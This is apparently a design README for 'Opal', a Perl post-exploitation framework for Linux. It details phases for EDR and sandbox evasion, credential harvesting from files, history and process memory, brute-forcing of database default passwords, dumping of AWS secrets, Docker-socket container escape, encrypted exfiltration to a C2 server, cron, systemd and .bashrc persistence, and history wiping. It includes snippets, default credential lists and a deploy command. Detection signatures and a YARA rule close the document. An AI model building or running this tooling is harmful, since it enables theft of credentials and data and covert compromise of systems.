Classification: Offensive Security Tool Red Team / Penetration Testing
Platform: Linux (kernel 3.x+), Perl 5.20+
Architecture: Single-file, zero-dependency (core modules only at launch), phased execution
- Overview
- Execution Pipeline
- Phase 0 Evasion & Environment Safety
- Phase 1 Reconnaissance
- Phase 2 File Harvesting
- Phase 3 Shell History Parsing
- Phase 4 Auth Log Analysis
- Phase 5 Memory Scraping
- Phase 6 Database Exfiltration
- Phase 7 AWS Cloud Pillaging
- Phase 8 Container Escape & Infection
- Phase 9 Exfiltration
- Phase 10 Persistence
- Phase 11 Cleanup
- Data Architecture
- Configuration
- Detection Signatures
Opal is a self-contained Perl post-exploitation framework designed for red team operations on Linux targets. It executes a deterministic pipeline of eleven phases evasion, recon, credential harvesting, memory scraping, database dumping, cloud pivoting, container escape, exfiltration, persistence, and cleanup all from a single file with no external dependencies beyond Perl core modules.
Design principles:
| Principle | Implementation |
|---|---|
| Zero footprint | No compiled binaries, no shared libraries, no package installs |
| Lazy loading | Non-core modules (Crypt::CBC, HTTP::Tiny, JSON::PP, Digest::SHA) loaded only when needed via _require() |
| Fail-closed evasion | Any sandbox/EDR indicator triggers immediate abort with benign output |
| Depth-limited traversal | Filesystem walks capped at configurable depth, symlink rejection |
| Timeout-wrapped execution | Every shell command runs inside SIGALRM handlers to prevent hangs |
| Chunked, encrypted exfil | AES-CBC encrypted JSON, sent in 512KB chunks over HTTPS |
flowchart TD
A["phase_evasion()"] --> B{"unsafe?"}
B -- yes --> H["_honeypot()"]
H --> Z["exit 0"]
B -- no --> C["phase_recon()"]
C --> C1["$LOOT{recon}"]
C1 --> D["phase_files()"]
D --> D1["$LOOT{ssh_walk, env_walk, ...}"]
D1 --> E["phase_history()"]
E --> E1["$LOOT{history}"]
E1 --> F["phase_auth()"]
F --> F1["$LOOT{auth_ok, auth_fail, ...}"]
F1 --> G["phase_memory()"]
G --> G1["$LOOT{mem_pid}"]
G1 --> I["phase_databases()"]
I --> I1["$LOOT{databases}"]
I1 --> J["phase_aws()"]
J --> J1["$LOOT{aws_dump, aws_identity, ...}"]
J1 --> K["phase_containers()"]
K --> K1["$LOOT{containers}"]
K1 --> L["phase_exfil()"]
L --> M["HTTPS POST (encrypted chunks)"]
M --> N{"success?"}
N -- yes --> O["phase_persist()"]
N -- no --> P["phase_cleanup()"]
O --> P
P --> Q["wipe history, remove opdir, exit"]
All harvested data accumulates in a single tied hash (%LOOT), serialized once at exfil time.
The first gate. If the environment is determined to be hostile, Opal aborts immediately and prints a benign message ("Checking log rotation timestamps...") to avoid suspicion.
$0 = $covers[rand @covers];
# Picks from: kworker/0:1-events, kswapd0, kcompactd0, etc.Renames the process visible in ps/top to a kernel worker thread name.
Reads /proc/self/status and checks if TracerPid is non-zero. A non-zero value means a process (strace, gdb, ltrace, ptrace-based monitor) is attached.
Runs pidof against 67 known EDR/AV/forensic/sandbox processes including:
| Category | Examples |
|---|---|
| Forensic | volatility, vol.py, avml, lime, autopsy, sleuthkit, bulk_extractor, binwalk |
| EDR | falconctl, sentinelagent, s1agent, cbagent, elastic-endpoint, osqueryd, wazuh-agent |
| Network analysis | tcpdump, wireshark, tshark, ngrep, dumpcap |
| Honeypots | cowrie, dionaea, honeypot, glutton, conpot, t-pot |
| Runtime security | falco, tetragon, cilium, gvisor, aquasec, prisma, twistlock |
| Debuggers | strace, ltrace, gdb, ghidra, ida32, ida64, rr |
Any match sets safe = 0.
Checks filesystem for 29 known EDR installation directories:
/opt/crowdstrike /var/log/crowdstrike /opt/sentinelone
/etc/falco /var/log/falco /opt/qualys /run/sysdig ...
Parses /proc/modules against a regex matching security-related LKMs:
qr/falcon|cb_km|sentinel|sophos|symev|sysmon|cyclone|nxguard/iRuns bpftool prog list and counts loaded eBPF programs. If count exceeds 5, flags as suspicious modern eBPF-based EDRs (Tetragon, Cilium, Falco) load multiple programs.
Checks $ENV{LD_PRELOAD}. If set (indicating a library injection hook), deletes the variable from %ENV and flags unsafe.
Parses /proc/self/maps for .so files loaded into the process that aren't standard library paths. Flags any library whose name contains:
hook | inject | agent | sensor | guard | monitor | intercept
Executes a compute-intensive XOR reduction over 500,000 integers, measured with Time::HiRes::time():
- > 2.0 seconds → likely single-stepping or instrumentation →
unsafe - < 0.005 seconds → likely virtualized/emulated → flagged
Scans all %ENV keys against:
VIRUS | MALWARE | SANDBOX | SAMPLE | ANALYSIS | CUCKOO | JOE
ANYRUN | HYBRID | THREAT | VMWARE | VBOX | VIRTUALBOX | QEMU | XEN
Checks $HOSTNAME against:
sandbox | analysis | malware | sample | cuckoo | joe | vm-\d | desktop-\w{6}
Reads the first Ethernet MAC address and checks the first three octets (Organizationally Unique Identifier) against known VM vendor OUIs:
| OUI | Vendor |
|---|---|
00:50:56 |
VMware |
00:0c:29 |
VMware |
00:1c:14 |
VMware |
08:00:27 |
VirtualBox |
00:11:22 |
VirtualBox |
00:d0:b5 |
Parallels |
00:ff:00 |
Hyervisor (custom) |
52:54:00 |
QEMU/KVM |
fa:16:3e |
OpenStack |
Attempts to create a working directory in order of preference:
/dev/shm/.ops_<beacon> # memory-backed, fastest
/var/tmp/.ops_<beacon> # survives reboot sometimes
/run/user/<uid>/.ops_<beacon> # user runtime dir
~/.cache/.ops_<beacon> # hidden in cache
/tmp/.systemd-private-<beacon> # mimics systemd private dirs
Falls back to /tmp/.ops_<beacon> with mode 0700.
If safe is false at the end of evasion:
sub _honeypot () {
say "Checking log rotation timestamps...\nNo rotation needed.\nDone."
}
exit 0;Collects a comprehensive system fingerprint stored under $LOOT{recon}:
| Key | Source | Description |
|---|---|---|
os |
/etc/os-release |
Full OS distribution info |
host |
hostname -f |
FQDN |
user |
$ENV{USER} |
Current user |
uid / gid |
getuid() / getgid() |
Numeric IDs |
ips |
ip -4 addr show |
All IPv4 addresses and interfaces |
routes |
ip route |
Routing table |
dns |
/etc/resolv.conf |
DNS configuration |
hosts |
/etc/hosts |
Static host mappings |
svcs |
systemctl list-units --type=service --state=running |
Running services |
docker |
docker ps |
Active containers |
dimgs |
docker images |
Available images |
tools |
which aws gcloud az kubectl terraform ansible vault sshpass |
Installed cloud/infra tools |
cron |
crontab -l + /etc/crontab |
Scheduled tasks |
shadow |
/etc/shadow |
Password hashes (if readable root or misconfigured) |
passwd |
/etc/passwd |
All user accounts |
Three sub-operations, each walking different filesystem roots.
Walks all user home directories (from /etc/passwd), plus:
/etc/ssh /opt /srv /var/www /usr/local /var/tmp
Depth-limited to 6 levels. Matches filenames against:
| Pattern | Type |
|---|---|
id_rsa, id_ed25519, id_ecdsa, id_dsa |
Private keys |
ssh_host_* |
Host private keys |
*.pem |
PEM certificates/keys |
*private*key* |
Generic private keys |
*.pub, authorized_keys |
Public keys |
config (inside .ssh/) |
SSH config (proxy jumps, IdentityFile paths) |
known_hosts |
Trust relationships |
Private keys are validated content must contain PRIVATE KEY or SSH2 before collection.
Walks all home directories (depth 8) for files matching:
.env .environment secrets.yml secrets.yaml secrets.json
app.secrets credentials.yml credentials.json vault.json .secrets
Minimum size threshold: 20 bytes.
Checks 22 specific paths relative to $HOME:
| Path | What It Contains |
|---|---|
~/.aws/credentials |
AWS access keys (all profiles) |
~/.aws/config |
AWS regions, SSO, role ARNs |
~/.aws/sso/cache/ |
Cached SSO tokens |
~/.docker/config.json |
Docker registry auth tokens |
~/.config/gcloud/ |
GCP service account keys, access tokens |
~/.azure/accessTokens.json |
Azure AD tokens |
~/.azure/azureProfile.json |
Azure subscription IDs |
~/.gitconfig |
Git credentials helper config |
~/.netrc |
FTP/HTTP basic auth (legacy but common) |
~/.git-credentials |
Stored Git HTTPS credentials |
~/.pgpass |
PostgreSQL connection strings with passwords |
~/.my.cnf |
MySQL credentials |
~/.vault-token |
HashiCorp Vault root token |
~/.kube/config |
Kubernetes cluster credentials, CA certs, tokens |
~/.npmrc |
npm registry auth tokens |
~/.pypirc |
PyPI upload tokens |
~/.gem/credentials |
RubyGems API keys |
~/.terraform/ |
Terraform state files (may contain secrets) |
~/.config/rclone/rclone.conf |
Cloud storage credentials |
/etc/environment |
System-wide environment variables |
/etc/ssh/sshd_config |
SSH server configuration |
Scans %ENV for any variable whose name matches:
.*(?:KEY|SECRET|TOKEN|PASS|CRED|AUTH|API|ACCESS|PASSWORD).*
Scans 15 history file types across all user home directories:
.bash_history .zsh_history .sh_history .fish_history
.psql_history .mysql_history .sqlite_history
.rediscli_history .python_history .node_repl_history
.irb_history .lhist .lesshst .viminfo
Plus Fish shell's non-standard location:
~/.local/share/fish/fish_history
~/.config/fish/fish_history
Filters commands against a regex matching sensitive operations:
ssh | scp | sftp | rsync | curl | wget | fetch
mysql | psql | mongo | redis-cli | sqlite3
aws | gcloud | az | kubectl | terraform | ansible | docker | podman
export.*(KEY|SECRET|TOKEN|PASS) | sudo | chmod | chown
password.*= | AKIA | -----BEGIN
Output per file: path, owning user, total size, full content, filtered hits array, hit count.
Parses four log files:
/var/log/auth.log /var/log/secure
/var/log/auth.log.1 /var/log/secure.1
Extracts via regex:
| Event | Fields Captured |
|---|---|
| Accepted SSH | timestamp, PID, auth method (password/publickey), user, source IP, port, protocol version |
| PAM session opened | timestamp, PID, user, UID |
| Sudo commands | timestamp, PID, user, TTY, full command |
| Failed auth | user, source IP, port → aggregated by IP:port with count |
Additionally captures:
lastloglast login per userlast -i -30last 30 logins with IP addresseswho -acurrently active sessions
Failed auth is sorted by count descending useful for identifying brute-force targets or lateral movement sources.
The most technically sophisticated phase. Scans live process memory for credentials.
Only processes whose cmdline matches one of 25 target patterns:
ssh-agent aws-vault vault git-credential docker-credential
kubectl gcloud az terraform packer
node python3 python java ruby
jenkins-agent runner gitlab-runner concourse
buildkite-agent circleci
postgres mysql mysqld mongod redis-server
nginx apache2 httpd
For each target PID:
- Read
/proc/<pid>/cmdlineto get the full command line - Parse
/proc/<pid>/mapsto enumerate memory regions - Filter regions to:
- Readable (
rin perms) - Not executable unless backed by a file (skips code segments)
- Anonymous or heap/stack (skips mapped library files)
- 50MB max size per region
- Max 200 regions per process
- Readable (
seek()into/proc/<pid>/memat each region's start address andread()the contents
| Pattern | Regex Target | Truncation |
|---|---|---|
| AWS Access Keys | AKIA[0-9A-Z]{16} + 40-char secret |
Full |
| JWT Tokens | eyJ header.payload.signature |
500 chars |
| PEM Private Keys | -----BEGIN ... PRIVATE KEY----- ... -----END |
5000 chars |
| Credential Strings | `password | secret |
| High-Entropy Blobs | Base64 strings ≥40 chars with Shannon entropy > 4.5 | 256 chars |
Each extracted secret is tagged with its source PID, process command line, and type.
Attempts to dump data from four database engines using a credential hierarchy: brute force → socket → harvested credentials.
Brute force credentials tried:
Users: postgres, root, gitlab, redshift, aurora, bitnami, $USER
Passwords: (empty), postgres, password, db, admin, secret
For each successful login, enumerates databases via \l (excluding template*), then dumps:
- Schema
pg_dump --schema-only - Data
pg_dump --data-only --inserts(INSERT statements, not COPY portable)
Also tries Unix socket connection at:
/var/run/postgresql/.s.PGSQL.5432
/tmp/.s.PGSQL.5432
Harvests connection URIs from .pgpass files found in Phase 2.
Brute force credentials tried:
Users: root, mysql, admin, debian-sys-maint, gitlab, bitnami
Passwords: (empty), root, password, mysql, admin, secret, bitnami, toor
Same schema+data dump approach. Socket paths:
/var/run/mysqld/mysqld.sock
/tmp/mysql.sock
/var/lib/mysql/mysql.sock
Skips system databases: information_schema, performance_schema, sys.
Auto-detects mongosh vs legacy mongo client. Attempts no-auth connection first, then harvested credentials.
For each database (excluding admin, config, local):
- Lists collections
- Counts documents per collection (skips if > 100,000)
- Dumps up to 5,000 documents as JSON via
find().toArray()
Attempts connection with no password, then with redis, password, admin, secret.
If PING returns PONG and key count is 1–100,000:
- Runs
KEYS *(up to 5,000 keys) - Determines type of each key (
TYPE) - Dumps value using appropriate command:
| Type | Command |
|---|---|
string |
GET |
hash |
HGETALL |
list |
LRANGE 0 -1 |
set |
SMEMBERS |
zset |
ZRANGE 0 -1 WITHSCORES |
Filesystem walk across all homes, /var/lib, /srv, /opt, /var/www looking for:
*.db *.sqlite *.sqlite3
Validates SQLite header (SQLite format 3\x00), then for each table:
- Counts rows
- Dumps up to 5,000 rows as JSON via
sqlite3 -json
Collects AWS credentials from four sources:
- Looted
.aws/credentialsfiles parses INI-format profiles with regex - Memory-extracted keys from Phase 5 (
aws_key_memtype) - Environment variables
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN - Harvested
.envfiles regex extraction ofAWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEYpairs (handles both ordering)
Opal does not use the AWS SDK. It builds signed requests from scratch:
┌──────────────────────────────────────────┐
│ AWS SigV4 Signing │
│ │
│ 1. Canonical Request │
│ POST / │
│ Sorted query params │
│ Canonical headers (content-type, │
│ host, x-amz-date [, security- │
│ token]) │
│ Signed headers list │
│ SHA-256(body) │
│ │
│ 2. String to Sign │
│ AWS4-HMAC-SHA256 │
│ Timestamp │
│ scope = date/region/service/ │
│ aws4_request │
│ SHA-256(canonical request) │
│ │
│ 3. Signing Key │
│ HMAC chain: │
│ AWS4<secret> │
│ → HMAC(region) │
│ → HMAC(service) │
│ → HMAC("aws4_request") │
│ │
│ 4. Authorization Header │
│ Credential=<key>/<scope> │
│ SignedHeaders=<list> │
│ Signature=HMAC(signing_key, │
│ string_to_sign) │
└──────────────────────────────────────────┘
Implemented with Digest::SHA (HMAC-SHA256 for signing, SHA-256 for hashing). Supports session tokens via X-Amz-Security-Token header.
User-Agent disguised as aws-internal/1.0. SSL verification enabled (blends with normal AWS traffic).
| Service | Action | Purpose |
|---|---|---|
| STS | GetCallerIdentity |
Identify the assumed role/user, account ID |
| IAM | ListUsers |
Enumerate all IAM users |
| Secrets Manager | ListSecrets → GetSecretValue per secret |
Dump all stored secrets |
| SSM | GetParametersByPath(Path='/', Recursive=true) → GetParameter(WithDecryption=true) |
Dump all Parameter Store values |
Four methods, any match = in-container:
1. File exists: /.dockerenv
2. Env var: $container =~ docker|lxc|podman|containerd
3. /proc/1/cgroup contains docker|kubepods|containerd|lxc|podman
4. mount output shows overlay on /
If the Docker socket (/var/run/docker.sock) is writable (common misconfiguration ranked #1 in MITRE ATT&CK container techniques):
┌─────────────────────────────────────────────────┐
│ ESCAPE SEQUENCE │
│ │
│ 1. Pull alpine:latest via socket API │
│ │
│ 2. Create container with: │
│ - Binds: / → /mnt_host (rw) │
│ - Binds: escape script → /mnt_escape (ro) │
│ - Privileged: true │
│ - Init: true │
│ - NetworkMode: host │
│ │
│ 3. Escape script writes: │
│ - Payload to /mnt_host/usr/local/bin/ │
│ - Cron job in /mnt_host/etc/cron.d/ │
│ - systemd service in /mnt_host/etc/ │
│ systemd/system/ │
│ │
│ 4. Start → wait 5s → force delete container │
│ │
│ Result: Opal running on the HOST with │
│ cron + systemd persistence │
└─────────────────────────────────────────────────┘
All communication via curl --unix-socket no Docker CLI required.
Lists all running containers via the socket API, then for each:
docker cppayload into container at/tmp/.ops_<tag>docker exec chmod 755docker exec -d(detached execution)- Verifies via
pgrep -finside the container
If socket escape fails:
Cgroup Release Agent (requires CAP_SYS_ADMIN):
1. Create cgroup with notify_on_release=1
2. Set release_agent to payload path
3. Fork child that writes its PID to cgroup.procs
4. On child exit → kernel triggers release_agent → payload runs
Attempts to derive host path from overlay mountinfo's upperdir.
Host Mount Point Detection: Checks for writable host filesystem mounts at:
/host /mnt/host /hostfs /rootfs
If found, drops payload directly into host's /usr/local/bin/.
Reads CapEff from /proc/self/status and extracts specific capabilities:
CAP_SYS_ADMIN (bit 21) → cgroup escape
CAP_SYS_PTRACE (bit 14) → process injection potential
CAP_SYS_MODULE (bit 16) → kernel module loading
The entire %LOOT tied hash is serialized to JSON via JSON::PP. The Opal::Loot tied interface automatically detaches for serialization stats tracking is lost but data is preserved.
Algorithm: AES-CBC
Key: 32 bytes (from $OPAL_KEY environment variable)
IV: 16 bytes (from $OPAL_IV environment variable)
Padding: PKCS7 (standard)
Encoding: Base64 (no line breaks)
Chunk size: 512 KB (524,288 bytes)
Protocol: HTTPS POST
Path: /api/v2/ingest (configurable)
SSL verify: DISABLED (verify_SSL => 0)
Timeout: 30 seconds per chunk
Inter-chunk delay: 500ms (except last chunk)
{
"bid": "a3f2b1c4d5e6",
"chunk": 0,
"total": 47,
"last": false,
"host": "web-prod-01.example.com",
"user": "deploy",
"ts": 1708012800,
"data": "<base64 AES-CBC encrypted fragment>"
}Headers include X-Request-ID for server-side reassembly: <beacon>-<chunk_index>.
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Only executes if exfiltration succeeds. Three independent mechanisms:
# OPAL-<beacon>
<random_minute> */6 * * * /dev/shm/.ops_<tag>/ops_<tag> >/dev/null 2>&1Random minute (1–58) to avoid temporal correlation. Marker comment prevents duplicate installation.
[Unit]
Description=system-ops-daemon
After=network-online.target
[Service]
Type=simple
ExecStart=<payload_path>
Restart=on-failure
RestartSec=3600
Environment=PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[Install]
WantedBy=default.targetInstalled to ~/.config/systemd/user/ops-daemon.service, then:
systemctl --user daemon-reload
systemctl --user enable ops-daemon
systemctl --user start ops-daemon
Appends to ~/.bashrc:
# OPAL-<beacon>
if [ $(pgrep -f '<payload_path>' | wc -l) -eq 0 ]; then
nohup <payload_path> >/dev/null 2>&1 &
fiRuns on every new shell session if the process isn't already running.
# Wipe shell histories
for (~/.bash_history, ~/.zsh_history) → truncate to empty
# Remove operational directory
system("rm -rf $OPDIR")
# Delete core dumps
unlink glob("/var/core/* /tmp/core.*")
# Final process name reset
$0 = '[kworker/0:1-events]'All data flows into a single tied hash using Opal::Loot, a custom tied hash class:
tie my $LOOT, 'Opal::Loot';Automatic statistics tracking on every STORE:
$LOOT->{ssh_walk} = \@ssh_keys;
# Internally increments:
# _s.n → total entries
# _s.bytes → total size (scalar length, array count, or JSON length)
# _s.by_type → { ARRAY => 5, HASH => 12, SCALAR => 3 }Stringifies as: Loot[n=47 bytes=238491 types=8]
| Key | Type | Phase |
|---|---|---|
edr_evasion |
Hash | 0 |
recon |
Hash | 1 |
ssh_walk |
Array of Hashes | 2 |
env_walk |
Array of Hashes | 2 |
*_skey(path)* |
Hash (type/path/value) | 2 |
env_vars |
Array of Hashes | 2 |
history |
Array of Hashes | 3 |
auth_ok |
Array of Hashes | 4 |
auth_fail |
Array of Hashes | 4 |
lastlog |
String | 4 |
last_logins |
String | 4 |
who_now |
String | 4 |
mem_<pid> |
Array of Hashes | 5 |
databases |
Array of Hashes | 6 |
aws_dump |
Array of Hashes | 7 |
aws_identity |
Hash | 7 |
aws_users |
Array | 7 |
containers |
Hash | 8 |
All configuration via environment variables with hardcoded fallbacks:
| Variable | Default | Purpose |
|---|---|---|
OPAL_C2 |
CHANGEME.example.com |
C2 server hostname |
OPAL_PORT |
443 |
C2 HTTPS port |
OPAL_PATH |
/api/v2/ingest |
C2 endpoint path |
OPAL_KEY |
CHANGEME_32_BYTE_KEY_HERE_00000 |
AES-256 key (must be 32 bytes) |
OPAL_IV |
CHANGEME_16BIV |
AES-CBC IV (must be 16 bytes) |
| Constant | Value | Purpose |
|---|---|---|
SLEEP_MIN |
300 | (reserved) Minimum sleep between beacon cycles |
SLEEP_JITTER |
180 | (reserved) Random jitter added to sleep |
EXFIL_CHUNK |
524,288 | 512 KB exfiltration chunk size |
DO_CLEANUP |
1 | Enable/disable cleanup phase |
hex(timestamp . $$ . rand(9999))
Example: 67a3b2c1d4e5f6a7 unique per execution, used for directory names, cron markers, and chunk request IDs.
/dev/shm/.ops_* # Memory-backed working directory
/var/tmp/.ops_* # Alternative working directory
/tmp/.systemd-private-* # Mimicked systemd private tmp
~/.config/systemd/user/ops-daemon.service
/etc/cron.d/.sysd-* # (on host after container escape)
/usr/local/bin/.sysd-* # (on host after container escape)
HTTPS POST to <c2_host>:<c2_port>/api/v2/ingest
Content-Type: application/json
X-Request-ID: <hex>-<integer>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Chunked data in base64-encoded AES-CBC blobs
Process name rotates between kworker/* names
Parent of docker exec processes (container infection)
Unexpected perl process running from /dev/shm or /var/tmp
Reading /proc/*/mem for non-child processes
Unix socket communication with /var/run/docker.sock
pg_dump / mysqldump / mongosh from unexpected users
bulk_create_container followed by immediate force delete
Shell history files truncated to zero bytes
rule Opal_Perl_RAT {
meta:
description = "Detects Opal post-exploitation framework"
author = "Detection Engineering"
strings:
$s1 = "Opal::Loot" ascii
$s2 = "phase_evasion" ascii
$s3 = "phase_memory" ascii
$s4 = "_escape_via_sock" ascii
$s5 = "CHANGEME.example.com" ascii
$s6 = "OPAL_C2" ascii
$s7 = "system-ops-daemon" ascii
condition:
4 of ($s*) and filesize < 500KB
}| Function | Purpose |
|---|---|
_capture($cmd) |
Run command, capture stdout, return string |
_capture_t($cmd, $timeout) |
Same with SIGALRM timeout (default 15s) |
_with_timeout($secs, $code) |
Generic timeout wrapper for coderefs |
_slurp($path) |
Read entire file in binary mode |
_make_walker($root, $max_depth) |
Returns an iterator closure for depth-limited, symlink-safe directory traversal |
_entropy($str) |
Shannon entropy calculation in bits |
_uri_enc($s) |
Percent-encoding per RFC 3986 |
_skey($s) |
Sanitize path to safe hash key (max 80 chars) |
_all_homes() |
Extract all home directories from /etc/passwd, cached after first call |
_require($mod) |
Lazy module loader, returns 0/1, caches success |
_cred_pool() |
Aggregate all database URIs from env vars and previously looted data |
_honeypot() |
Print benign output and exit |
| Tactic | Technique | Phase |
|---|---|---|
| Defense Evasion | T1036 Masquerading (process name) | 0 |
| Defense Evasion | T1057 Process Discovery (EDR scanning) | 0 |
| Defense Evasion | T1497 Virtualization/Sandbox Evasion | 0 |
| Discovery | T1082 System Information Discovery | 1 |
| Discovery | T1046 Network Service Discovery | 1 |
| Discovery | T1007 System Service Discovery | 1 |
| Credential Access | T1552 Unsecured Credentials (files, env vars) | 2, 3 |
| Credential Access | T1555 Credentials from Memory | 5 |
| Credential Access | T1110 Brute Force (database creds) | 6 |
| Credential Access | T1552.008 Cloud Instance Metadata (AWS keys) | 7 |
| Collection | T1005 Data from Local System | 2, 4, 6 |
| Collection | T1213 Data from Information Repositories | 6 |
| Execution | T1059 Command Interpreter (perl) | All |
| Persistence | T1053 Scheduled Task/Job (cron) | 10 |
| Persistence | T1543 Create/Modify System Process (systemd) | 10 |
| Persistence | T1037 Boot or Logon Scripts (.bashrc) | 10 |
| Privilege Escalation | T1611 Escape to Host (Docker socket) | 8 |
| Privilege Escalation | T1610 Deploy Container (infection) | 8 |
| Exfiltration | T1048 Exfiltration Over Alternative Protocol (HTTPS) | 9 |
| Exfiltration | T1041 Exfiltration Over C2 Channel | 9 |
| Defense Evasion | T1070 Indicator Removal (history wipe) | 11 |
# No build step required single Perl file
# Deploy (example)
perl opal.pl
# Configure via environment
OPAL_C2=your.server.com OPAL_PORT=8443 \
OPAL_KEY=$(openssl rand -hex 16) \
OPAL_IV=$(openssl rand -hex 8) \
perl opal.pl
# Verify syntax without execution
perl -c opal.plMinimum Perl version: 5.20 (for subroutine signatures and postfix dereferencing)
No CPAN modules required at launch Crypt::CBC, HTTP::Tiny, JSON::PP, Digest::SHA, and Time::HiRes are loaded lazily only when their respective phases execute.